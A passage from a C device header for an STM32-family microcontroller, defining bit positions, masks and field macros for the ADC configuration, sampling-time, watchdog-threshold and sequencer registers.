(0x1U << ADC_CFGR_AWD1EN_Pos) /*!< 0x00800000 */ #define ADC_CFGR_AWD1EN ADC_CFGR_AWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group regular */ #define ADC_CFGR_JAWD1EN_Pos (24U) #define ADC_CFGR_JAWD1EN_Msk (0x1U << ADC_CFGR_JAWD1EN_Pos) /*!< 0x01000000 */ #define ADC_CFGR_JAWD1EN ADC_CFGR_JAWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group injected */ #define ADC_CFGR_JAUTO_Pos (25U) #define ADC_CFGR_JAUTO_Msk (0x1U << ADC_CFGR_JAUTO_Pos) /*!< 0x02000000 */ #define ADC_CFGR_JAUTO ADC_CFGR_JAUTO_Msk /*!< ADC group injected automatic trigger mode */ #define ADC_CFGR_AWD1CH_Pos (26U) #define ADC_CFGR_AWD1CH_Msk (0x1FU << ADC_CFGR_AWD1CH_Pos) /*!< 0x7C000000 */ #define ADC_CFGR_AWD1CH ADC_CFGR_AWD1CH_Msk /*!< ADC analog watchdog 1 monitored channel selection */ #define ADC_CFGR_AWD1CH_0 (0x01U << ADC_CFGR_AWD1CH_Pos) /*!< 0x04000000 */ #define ADC_CFGR_AWD1CH_1 (0x02U << ADC_CFGR_AWD1CH_Pos) /*!< 0x08000000 */ #define ADC_CFGR_AWD1CH_2 (0x04U << ADC_CFGR_AWD1CH_Pos) /*!< 0x10000000 */ #define ADC_CFGR_AWD1CH_3 (0x08U << ADC_CFGR_AWD1CH_Pos) /*!< 0x20000000 */ #define ADC_CFGR_AWD1CH_4 (0x10U << ADC_CFGR_AWD1CH_Pos) /*!< 0x40000000 */ /* Legacy defines */ #define ADC_CFGR_AUTOFF_Pos (15U) #define ADC_CFGR_AUTOFF_Msk (0x1U << ADC_CFGR_AUTOFF_Pos) /*!< 0x00008000 */ #define ADC_CFGR_AUTOFF ADC_CFGR_AUTOFF_Msk /*!< ADC low power auto power off */ /******************** Bit definition for ADC_SMPR1 register *****************/ #define ADC_SMPR1_SMP0_Pos (0U) #define ADC_SMPR1_SMP0_Msk (0x7U << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ #define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC channel 0 sampling time selection */ #define ADC_SMPR1_SMP0_0 (0x1U << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ #define ADC_SMPR1_SMP0_1 (0x2U << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ #define ADC_SMPR1_SMP0_2 (0x4U << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ #define ADC_SMPR1_SMP1_Pos (3U) #define ADC_SMPR1_SMP1_Msk (0x7U << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ #define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC channel 1 sampling time selection */ #define ADC_SMPR1_SMP1_0 (0x1U << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ #define ADC_SMPR1_SMP1_1 (0x2U << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ #define ADC_SMPR1_SMP1_2 (0x4U << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ #define ADC_SMPR1_SMP2_Pos (6U) #define ADC_SMPR1_SMP2_Msk (0x7U << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ #define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC channel 2 sampling time selection */ #define ADC_SMPR1_SMP2_0 (0x1U << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ #define ADC_SMPR1_SMP2_1 (0x2U << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ #define ADC_SMPR1_SMP2_2 (0x4U << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ #define ADC_SMPR1_SMP3_Pos (9U) #define ADC_SMPR1_SMP3_Msk (0x7U << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ #define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC channel 3 sampling time selection */ #define ADC_SMPR1_SMP3_0 (0x1U << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ #define ADC_SMPR1_SMP3_1 (0x2U << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ #define ADC_SMPR1_SMP3_2 (0x4U << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ #define ADC_SMPR1_SMP4_Pos (12U) #define ADC_SMPR1_SMP4_Msk (0x7U << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ #define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC channel 4 sampling time selection */ #define ADC_SMPR1_SMP4_0 (0x1U << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ #define ADC_SMPR1_SMP4_1 (0x2U << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ #define ADC_SMPR1_SMP4_2 (0x4U << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ #define ADC_SMPR1_SMP5_Pos (15U) #define ADC_SMPR1_SMP5_Msk (0x7U << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ #define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC channel 5 sampling time selection */ #define ADC_SMPR1_SMP5_0 (0x1U << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ #define ADC_SMPR1_SMP5_1 (0x2U << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ #define ADC_SMPR1_SMP5_2 (0x4U << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ #define ADC_SMPR1_SMP6_Pos (18U) #define ADC_SMPR1_SMP6_Msk (0x7U << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ #define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC channel 6 sampling time selection */ #define ADC_SMPR1_SMP6_0 (0x1U << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ #define ADC_SMPR1_SMP6_1 (0x2U << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ #define ADC_SMPR1_SMP6_2 (0x4U << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ #define ADC_SMPR1_SMP7_Pos (21U) #define ADC_SMPR1_SMP7_Msk (0x7U << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ #define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC channel 7 sampling time selection */ #define ADC_SMPR1_SMP7_0 (0x1U << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ #define ADC_SMPR1_SMP7_1 (0x2U << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ #define ADC_SMPR1_SMP7_2 (0x4U << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ #define ADC_SMPR1_SMP8_Pos (24U) #define ADC_SMPR1_SMP8_Msk (0x7U << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ #define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC channel 8 sampling time selection */ #define ADC_SMPR1_SMP8_0 (0x1U << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ #define ADC_SMPR1_SMP8_1 (0x2U << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ #define ADC_SMPR1_SMP8_2 (0x4U << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ #define ADC_SMPR1_SMP9_Pos (27U) #define ADC_SMPR1_SMP9_Msk (0x7U << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ #define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC channel 9 sampling time selection */ #define ADC_SMPR1_SMP9_0 (0x1U << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ #define ADC_SMPR1_SMP9_1 (0x2U << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ #define ADC_SMPR1_SMP9_2 (0x4U << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ /******************** Bit definition for ADC_SMPR2 register *****************/ #define ADC_SMPR2_SMP10_Pos (0U) #define ADC_SMPR2_SMP10_Msk (0x7U << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ #define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC channel 10 sampling time selection */ #define ADC_SMPR2_SMP10_0 (0x1U << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ #define ADC_SMPR2_SMP10_1 (0x2U << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ #define ADC_SMPR2_SMP10_2 (0x4U << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ #define ADC_SMPR2_SMP11_Pos (3U) #define ADC_SMPR2_SMP11_Msk (0x7U << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ #define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC channel 11 sampling time selection */ #define ADC_SMPR2_SMP11_0 (0x1U << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ #define ADC_SMPR2_SMP11_1 (0x2U << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ #define ADC_SMPR2_SMP11_2 (0x4U << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ #define ADC_SMPR2_SMP12_Pos (6U) #define ADC_SMPR2_SMP12_Msk (0x7U << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ #define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC channel 12 sampling time selection */ #define ADC_SMPR2_SMP12_0 (0x1U << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ #define ADC_SMPR2_SMP12_1 (0x2U << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ #define ADC_SMPR2_SMP12_2 (0x4U << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ #define ADC_SMPR2_SMP13_Pos (9U) #define ADC_SMPR2_SMP13_Msk (0x7U << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ #define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC channel 13 sampling time selection */ #define ADC_SMPR2_SMP13_0 (0x1U << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ #define ADC_SMPR2_SMP13_1 (0x2U << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ #define ADC_SMPR2_SMP13_2 (0x4U << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ #define ADC_SMPR2_SMP14_Pos (12U) #define ADC_SMPR2_SMP14_Msk (0x7U << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ #define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC channel 14 sampling time selection */ #define ADC_SMPR2_SMP14_0 (0x1U << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ #define ADC_SMPR2_SMP14_1 (0x2U << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ #define ADC_SMPR2_SMP14_2 (0x4U << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ #define ADC_SMPR2_SMP15_Pos (15U) #define ADC_SMPR2_SMP15_Msk (0x7U << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ #define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC channel 15 sampling time selection */ #define ADC_SMPR2_SMP15_0 (0x1U << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ #define ADC_SMPR2_SMP15_1 (0x2U << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ #define ADC_SMPR2_SMP15_2 (0x4U << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ #define ADC_SMPR2_SMP16_Pos (18U) #define ADC_SMPR2_SMP16_Msk (0x7U << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ #define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC channel 16 sampling time selection */ #define ADC_SMPR2_SMP16_0 (0x1U << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ #define ADC_SMPR2_SMP16_1 (0x2U << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ #define ADC_SMPR2_SMP16_2 (0x4U << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ #define ADC_SMPR2_SMP17_Pos (21U) #define ADC_SMPR2_SMP17_Msk (0x7U << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ #define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC channel 17 sampling time selection */ #define ADC_SMPR2_SMP17_0 (0x1U << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ #define ADC_SMPR2_SMP17_1 (0x2U << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ #define ADC_SMPR2_SMP17_2 (0x4U << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ #define ADC_SMPR2_SMP18_Pos (24U) #define ADC_SMPR2_SMP18_Msk (0x7U << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ #define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC channel 18 sampling time selection */ #define ADC_SMPR2_SMP18_0 (0x1U << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ #define ADC_SMPR2_SMP18_1 (0x2U << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ #define ADC_SMPR2_SMP18_2 (0x4U << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ /******************** Bit definition for ADC_TR1 register *******************/ #define ADC_TR1_LT1_Pos (0U) #define ADC_TR1_LT1_Msk (0xFFFU << ADC_TR1_LT1_Pos) /*!< 0x00000FFF */ #define ADC_TR1_LT1 ADC_TR1_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ #define ADC_TR1_LT1_0 (0x001U << ADC_TR1_LT1_Pos) /*!< 0x00000001 */ #define ADC_TR1_LT1_1 (0x002U << ADC_TR1_LT1_Pos) /*!< 0x00000002 */ #define ADC_TR1_LT1_2 (0x004U << ADC_TR1_LT1_Pos) /*!< 0x00000004 */ #define ADC_TR1_LT1_3 (0x008U << ADC_TR1_LT1_Pos) /*!< 0x00000008 */ #define ADC_TR1_LT1_4 (0x010U << ADC_TR1_LT1_Pos) /*!< 0x00000010 */ #define ADC_TR1_LT1_5 (0x020U << ADC_TR1_LT1_Pos) /*!< 0x00000020 */ #define ADC_TR1_LT1_6 (0x040U << ADC_TR1_LT1_Pos) /*!< 0x00000040 */ #define ADC_TR1_LT1_7 (0x080U << ADC_TR1_LT1_Pos) /*!< 0x00000080 */ #define ADC_TR1_LT1_8 (0x100U << ADC_TR1_LT1_Pos) /*!< 0x00000100 */ #define ADC_TR1_LT1_9 (0x200U << ADC_TR1_LT1_Pos) /*!< 0x00000200 */ #define ADC_TR1_LT1_10 (0x400U << ADC_TR1_LT1_Pos) /*!< 0x00000400 */ #define ADC_TR1_LT1_11 (0x800U << ADC_TR1_LT1_Pos) /*!< 0x00000800 */ #define ADC_TR1_HT1_Pos (16U) #define ADC_TR1_HT1_Msk (0xFFFU << ADC_TR1_HT1_Pos) /*!< 0x0FFF0000 */ #define ADC_TR1_HT1 ADC_TR1_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ #define ADC_TR1_HT1_0 (0x001U << ADC_TR1_HT1_Pos) /*!< 0x00010000 */ #define ADC_TR1_HT1_1 (0x002U << ADC_TR1_HT1_Pos) /*!< 0x00020000 */ #define ADC_TR1_HT1_2 (0x004U << ADC_TR1_HT1_Pos) /*!< 0x00040000 */ #define ADC_TR1_HT1_3 (0x008U << ADC_TR1_HT1_Pos) /*!< 0x00080000 */ #define ADC_TR1_HT1_4 (0x010U << ADC_TR1_HT1_Pos) /*!< 0x00100000 */ #define ADC_TR1_HT1_5 (0x020U << ADC_TR1_HT1_Pos) /*!< 0x00200000 */ #define ADC_TR1_HT1_6 (0x040U << ADC_TR1_HT1_Pos) /*!< 0x00400000 */ #define ADC_TR1_HT1_7 (0x080U << ADC_TR1_HT1_Pos) /*!< 0x00800000 */ #define ADC_TR1_HT1_8 (0x100U << ADC_TR1_HT1_Pos) /*!< 0x01000000 */ #define ADC_TR1_HT1_9 (0x200U << ADC_TR1_HT1_Pos) /*!< 0x02000000 */ #define ADC_TR1_HT1_10 (0x400U << ADC_TR1_HT1_Pos) /*!< 0x04000000 */ #define ADC_TR1_HT1_11 (0x800U << ADC_TR1_HT1_Pos) /*!< 0x08000000 */ /******************** Bit definition for ADC_TR2 register *******************/ #define ADC_TR2_LT2_Pos (0U) #define ADC_TR2_LT2_Msk (0xFFU << ADC_TR2_LT2_Pos) /*!< 0x000000FF */ #define ADC_TR2_LT2 ADC_TR2_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ #define ADC_TR2_LT2_0 (0x01U << ADC_TR2_LT2_Pos) /*!< 0x00000001 */ #define ADC_TR2_LT2_1 (0x02U << ADC_TR2_LT2_Pos) /*!< 0x00000002 */ #define ADC_TR2_LT2_2 (0x04U << ADC_TR2_LT2_Pos) /*!< 0x00000004 */ #define ADC_TR2_LT2_3 (0x08U << ADC_TR2_LT2_Pos) /*!< 0x00000008 */ #define ADC_TR2_LT2_4 (0x10U << ADC_TR2_LT2_Pos) /*!< 0x00000010 */ #define ADC_TR2_LT2_5 (0x20U << ADC_TR2_LT2_Pos) /*!< 0x00000020 */ #define ADC_TR2_LT2_6 (0x40U << ADC_TR2_LT2_Pos) /*!< 0x00000040 */ #define ADC_TR2_LT2_7 (0x80U << ADC_TR2_LT2_Pos) /*!< 0x00000080 */ #define ADC_TR2_HT2_Pos (16U) #define ADC_TR2_HT2_Msk (0xFFU << ADC_TR2_HT2_Pos) /*!< 0x00FF0000 */ #define ADC_TR2_HT2 ADC_TR2_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ #define ADC_TR2_HT2_0 (0x01U << ADC_TR2_HT2_Pos) /*!< 0x00010000 */ #define ADC_TR2_HT2_1 (0x02U << ADC_TR2_HT2_Pos) /*!< 0x00020000 */ #define ADC_TR2_HT2_2 (0x04U << ADC_TR2_HT2_Pos) /*!< 0x00040000 */ #define ADC_TR2_HT2_3 (0x08U << ADC_TR2_HT2_Pos) /*!< 0x00080000 */ #define ADC_TR2_HT2_4 (0x10U << ADC_TR2_HT2_Pos) /*!< 0x00100000 */ #define ADC_TR2_HT2_5 (0x20U << ADC_TR2_HT2_Pos) /*!< 0x00200000 */ #define ADC_TR2_HT2_6 (0x40U << ADC_TR2_HT2_Pos) /*!< 0x00400000 */ #define ADC_TR2_HT2_7 (0x80U << ADC_TR2_HT2_Pos) /*!< 0x00800000 */ /******************** Bit definition for ADC_TR3 register *******************/ #define ADC_TR3_LT3_Pos (0U) #define ADC_TR3_LT3_Msk (0xFFU << ADC_TR3_LT3_Pos) /*!< 0x000000FF */ #define ADC_TR3_LT3 ADC_TR3_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ #define ADC_TR3_LT3_0 (0x01U << ADC_TR3_LT3_Pos) /*!< 0x00000001 */ #define ADC_TR3_LT3_1 (0x02U << ADC_TR3_LT3_Pos) /*!< 0x00000002 */ #define ADC_TR3_LT3_2 (0x04U << ADC_TR3_LT3_Pos) /*!< 0x00000004 */ #define ADC_TR3_LT3_3 (0x08U << ADC_TR3_LT3_Pos) /*!< 0x00000008 */ #define ADC_TR3_LT3_4 (0x10U << ADC_TR3_LT3_Pos) /*!< 0x00000010 */ #define ADC_TR3_LT3_5 (0x20U << ADC_TR3_LT3_Pos) /*!< 0x00000020 */ #define ADC_TR3_LT3_6 (0x40U << ADC_TR3_LT3_Pos) /*!< 0x00000040 */ #define ADC_TR3_LT3_7 (0x80U << ADC_TR3_LT3_Pos) /*!< 0x00000080 */ #define ADC_TR3_HT3_Pos (16U) #define ADC_TR3_HT3_Msk (0xFFU << ADC_TR3_HT3_Pos) /*!< 0x00FF0000 */ #define ADC_TR3_HT3 ADC_TR3_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ #define ADC_TR3_HT3_0 (0x01U << ADC_TR3_HT3_Pos) /*!< 0x00010000 */ #define ADC_TR3_HT3_1 (0x02U << ADC_TR3_HT3_Pos) /*!< 0x00020000 */ #define ADC_TR3_HT3_2 (0x04U << ADC_TR3_HT3_Pos) /*!< 0x00040000 */ #define ADC_TR3_HT3_3 (0x08U << ADC_TR3_HT3_Pos) /*!< 0x00080000 */ #define ADC_TR3_HT3_4 (0x10U << ADC_TR3_HT3_Pos) /*!< 0x00100000 */ #define ADC_TR3_HT3_5 (0x20U << ADC_TR3_HT3_Pos) /*!< 0x00200000 */ #define ADC_TR3_HT3_6 (0x40U << ADC_TR3_HT3_Pos) /*!< 0x00400000 */ #define ADC_TR3_HT3_7 (0x80U << ADC_TR3_HT3_Pos) /*!< 0x00800000 */ /******************** Bit definition for ADC_SQR1 register ******************/ #define ADC_SQR1_L_Pos (0U) #define ADC_SQR1_L_Msk (0xFU << ADC_SQR1_L_Pos) /*!< 0x0000000F */ #define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC group regular sequencer scan length */ #define ADC_SQR1_L_0 (0x1U << ADC_SQR1_L_Pos) /*!< 0x00000001 */ #define ADC_SQR1_L_1 (0x2U << ADC_SQR1_L_Pos) /*!< 0x00000002 */ #define ADC_SQR1_L_2 (0x4U << ADC_SQR1_L_Pos) /*!< 0x00000004 */ #define ADC_SQR1_L_3 (0x8U << ADC_SQR1_L_Pos) /*!< 0x00000008 */ #define ADC_SQR1_SQ1_Pos (6U) #define ADC_SQR1_SQ1_Msk (0x1FU << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ #define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC group regular sequencer rank 1 */ #define ADC_SQR1_SQ1_0 (0x01U << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ #define ADC_SQR1_SQ1_1 (0x02U << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ #define ADC_SQR1_SQ1_2 (0x04U << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ #define ADC_SQR1_SQ1_3 (0x08U << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ #define ADC_SQR1_SQ1_4 (0x10U << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ #define ADC_SQR1_SQ2_Pos (12U) #define ADC_SQR1_SQ2_Msk (0x1FU << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ #define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC group regular sequencer rank 2 */ #define ADC_SQR1_SQ2_0 (0x01U << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ #define ADC_SQR1_SQ2_1 (0x02U << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ #define ADC_SQR1_SQ2_2 (0x04U << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ #define ADC_SQR1_SQ2_3 (0x08U << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ #define ADC_SQR1_SQ2_4 (0x10U << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ #define ADC_SQR1_SQ3_Pos (18U) #define ADC_SQR1_SQ3_Msk (0x1FU << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ #define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC group regular sequencer rank 3 */ #define ADC_SQR1_SQ3_0 (0x01U << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ #define ADC_SQR1_SQ3_1 (0x02U << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ #define ADC_SQR1_SQ3_2 (0x04U << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ #define ADC_SQR1_SQ3_3 (0x08U << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ #define ADC_SQR1_SQ3_4 (0x10U << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ #define ADC_SQR1_SQ4_Pos (24U) #define ADC_SQR1_SQ4_Msk (0x1FU << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ #define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC group regular sequencer rank 4 */ #define ADC_SQR1_SQ4_0 (0x01U << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ #define ADC_SQR1_SQ4_1 (0x02U << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ #define ADC_SQR1_SQ4_2 (0x04U << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ #define ADC_SQR1_SQ4_3 (0x08U << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ #define ADC_SQR1_SQ4_4 (0x10U << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ /******************** Bit definition for ADC_SQR2 register ******************/ #define ADC_SQR2_SQ5_Pos (0U) #define ADC_SQR2_SQ5_Msk (0x1FU << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ #define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC group regular sequencer rank 5 */ #define ADC_SQR2_SQ5_0 (0x01U << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ #define ADC_SQR2_SQ5_1 (0x02U << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ #define ADC_SQR2_SQ5_2 (0x04U << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ #define ADC_SQR2_SQ5_3 (0x08U << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ #define ADC_SQR2_SQ5_4 (0x10U << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ #define ADC_SQR2_SQ6_Pos (6U) #define ADC_SQR2_SQ6_Msk (0x1FU << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ #define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC group regular sequencer rank 6 */ #define ADC_SQR2_SQ6_0 (0x01U << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ #define ADC_SQR2_SQ6_1 (0x02U << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ #define ADC_SQR2_SQ6_2 (0x04U << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ #define ADC_SQR2_SQ6_3 (0x08U << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ #define ADC_SQR2_SQ6_4 (0x10U << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ #define ADC_SQR2_SQ7_Pos (12U) #define ADC_SQR2_SQ7_Msk (0x1FU << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ #define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC group regular sequencer rank 7 */ #define ADC_SQR2_SQ7_0 (0x01U << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ #define ADC_SQR2_SQ7_1 (0x02U << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ #define ADC_SQR2_SQ7_2 (0x04U << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ #define ADC_SQR2_SQ7_3 (0x08U << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ #define ADC_SQR2_SQ7_4 (0x10U << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ #define ADC_SQR2_SQ8_Pos (18U) #define ADC_SQR2_SQ8_Msk (0x1FU << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ #define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC group regular sequencer rank 8 */ #define ADC_SQR2_SQ8_0 (0x01U << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ #define ADC_SQR2_SQ8_1 (0x02U << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ #define ADC_SQR2_SQ8_2 (0x04U << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ #define ADC_SQR2_SQ8_3 (0x08U << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ #define ADC_SQR2_SQ8_4 (0x10U << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ #define ADC_SQR2_SQ9_Pos (24U) #define ADC_SQR2_SQ9_Msk (0x1FU << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ #define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC group regular sequencer rank 9 */ #define ADC_SQR2_SQ9_0 (0x01U << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ #define ADC_SQR2_SQ9_1 (0x02U << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ #define ADC_SQR2_SQ9_2 (0x04U << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ #define ADC_SQR2_SQ9_3 (0x08U << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ #define ADC_SQR2_SQ9_4 (0x10U << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ /******************** Bit definition for ADC_SQR3 register ******************/ #define ADC_SQR3_SQ10_Pos (0U) #define ADC_SQR3_SQ10_Msk (0x1FU << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ #define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC group regular sequencer rank 10 */ #define ADC_SQR3_SQ10_0 (0x01U << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ #define ADC_SQR3_SQ10_1 (0x02U << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ #define ADC_SQR3_SQ10_2 (0x04U << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ #define ADC_SQR3_SQ10_3 (0x08U << 